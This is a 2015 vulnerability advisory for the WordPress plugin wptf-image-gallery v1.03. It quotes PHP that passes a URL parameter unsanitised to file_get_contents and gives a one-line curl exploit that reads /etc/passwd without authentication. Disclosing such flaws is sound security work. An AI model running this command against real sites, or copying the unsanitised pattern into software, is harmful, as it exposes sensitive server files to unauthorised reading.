Title: Remote file download vulnerability in wptf-image-gallery v1.03
Author: Larry W. Cashdollar, @_larry0
Date: 2015-07-17
Download Site: https://wordpress.org/plugins/wptf-image-gallery
Vendor: https://profiles.wordpress.org/sakush100/
Vendor Notified: 0000-00-00
Vendor Contact: plugins@wordpress.org
Description: WordPress True Fullscreen (WPTF) Gallery is a modern gallery plugin that supports true fullscreen and have a lot of features built with it.
Vulnerability:
The ./wptf-image-gallery/lib-mbox/ajax_load.php code doesn't sanitize user input or check that a user is authorized to download files. This allows an unauthenticated user to download sensitive system files:
1 <?php
2 error_reporting(0);
3 $homepage = file_get_contents($_GET['url']);
4 $homepage = str_replace("script", "mboxdisablescript", $homepage);
5 $homepage = str_replace("SCRIPT", "mboxdisablescript", $homepage);
6 echo $homepage;
7 ?>
CVEID:
OSVDB:
Exploit Code:
• $ curl http://server/wp-content/plugins/wptf-image-gallery/lib-mbox/ajax_load.php?url=/etc/passwd
